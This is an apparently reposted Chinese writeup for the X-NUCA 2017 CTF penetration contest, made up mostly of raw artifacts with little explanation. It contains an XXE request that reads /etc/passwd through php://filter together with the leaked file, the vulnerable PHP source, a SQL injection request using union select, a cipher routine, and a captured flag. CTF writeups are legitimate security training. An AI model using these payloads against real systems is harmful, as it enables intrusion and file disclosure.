独家 | X-NUCA '17第一期靶场渗透赛最佳团队Writeup!

点击“合天智汇”关注，学习网安干货

靶场渗透赛

No.1 你喜欢颜文字么| Solved

No.2 让你无语的 md5 | Solved

No.3 Pav1 和 lloowweerrxx.avi | Solved No.4 X-NUCA 2017's Secrets | Solved No.5 Lucky Number Calc | Solved  No.6 Hello World |  solved

No.8 看视频真嗨皮 | Solved

No.9 The Best Community | Solved

No.11 两只小蜜蜂啊| Solved

No.14 DuomiCMS | Solved

No.16 来一发 flask | Solved

No.18 AContent | Solved: No.21 Freecms | Solved

No.23 找入口 | Solved

No.24 可爱的星星 | Solved

No.25  | Solved

(function() { alert('xnuca{hbeLMqNuCnohaWTQhxpf5Ep7yMBjcjG3}')

})

POST /ctf1.php HTTP/1.1

Host: f83f119af64fa2b94c37231bbce09678.xnuca.cn Content-Length: 174

Accept: */*

Origin: http://f83f119af64fa2b94c37231bbce09678.xnuca.cn X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8 DNT: 1

Referer: http://f83f119af64fa2b94c37231bbce09678.xnuca.cn/ Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4 Connection: close

<!DOCTYPE results [

<!ENTITY harmless SYSTEM

"php://filter/read=convert.base64-encode/resource=/etc/passwd"

> 

]>

<user>

<name>&harmless;</name>

</user>

root:x:0:0:root:/root:/bin/bash 

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false ntp:x:103:109::/home/ntp:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

<?php

$xmldata=file_get_contents("php://input");

#$data=simplexml_load_string($xmldata);

libxml_disable_entity_loader(false);

$dom = new DOMDocument();

$dom->loadXML($xmldata, LIBXML_NOENT | LIBXML_DTDLOAD);

$data = simplexml_import_dom($dom);

$str = $data->name;

if(preg_match("/[\'.,:;*?~`!@#$%^&)(<>{}]|\]|\[|\/|\\\|\"|\|/",$str)){ echo 'Illegal Input';

}else{

$firstnum = ord(substr( $str, 0, 1 ));

$stlen = strlen($str);

$luckynum = ($firstnum * $stlen) % 100;

$res = 'Dear '.$str.', Your Lucky Number is '.$luckynum; echo $res;

}

?>

<?php

ini_set("display_errors", "Off"); error_reporting(0);

function encode($b, $c = '', $d = 0) {

$e = 4;

$c = md5($c); //"816302c22ad445a2cb9b7d0a209f2854"

$f = md5(substr($c, 0, 16)); // "832d748a3cad1935ab1d9d18182e9ec9"

$g = md5(substr($c, 16, 16)); // "ac4f2b390bc5f79a1f987ac15cb7f36d"

$h = $e ? ($k == 'DECODE' ? substr($b, 0, $e) : substr(md5(microtime()) , -$e)) : ''; // 3133

$l = $f . md5($f . $h); // "832d748a3cad1935ab1d9d18182e9ec99a6a04e6f4386d374d5e38fcb24f1c9f"

$m = strlen($l); // 64

$b = sprintf('%010d', $d ? $d + time() : 0) . substr(md5($b . $g) , 0, 16) . $b;

$n = strlen($b);

$o = '';

$p = range(0, 255);

$q = array();

for ($r = 0; $r <= 255; $r++) {

$q[$r] = ord($l[$r % $m]);

}

for ($s = $r = 0; $r < 256; $r++) {

$s = ($s + $p[$r] + $q[$r]) % 256;

$t = $p[$r];

$p[$r] = $p[$s];

$p[$s] = $t;

}

for ($u = $s = $r = 0; $r < $n; $r++) {

$u = ($u + 1) % 256;

$s = ($s + $p[$u]) % 256;

$t = $p[$u];

$p[$u] = $p[$s];

$p[$s] = $t;

$o.= chr(ord($b[$r]) ^ ($p[($p[$u] + $p[$s]) % 256]));

}

return $h . str_replace('=', '', base64_encode($o));

}

$c = "flag_1s_n0t_h3re";

$cipher = "3133g8JTV89Ds4oh5k0JRPFijAbc1Qw7HciaZfhsV5lWr+7RM9IAF9SNw9WJMEg";

?>

POST /index.php?_a=do_mail&_m=mod_email HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 Cookie: PHPSESSID=65676uue8hmaigepggn66pn1l6

Host: 522e52f9f4f81b75b2718ad29ac60c14.xnuca.cn Connection: close

User-Agent: Paw/3.1.2 (Macintosh; OS X/10.12.6) GCDHTTPRequest Content-Length: 112

title=aa&email_s=a&email_m=a&type=a&users=aaaa%27%7Caaa&role%5B%5D=abdc%7D%27+union+select+ 1%2Cuser%28%29%2C3%23

这里“阅读原文”，查看ROIS团队独家专访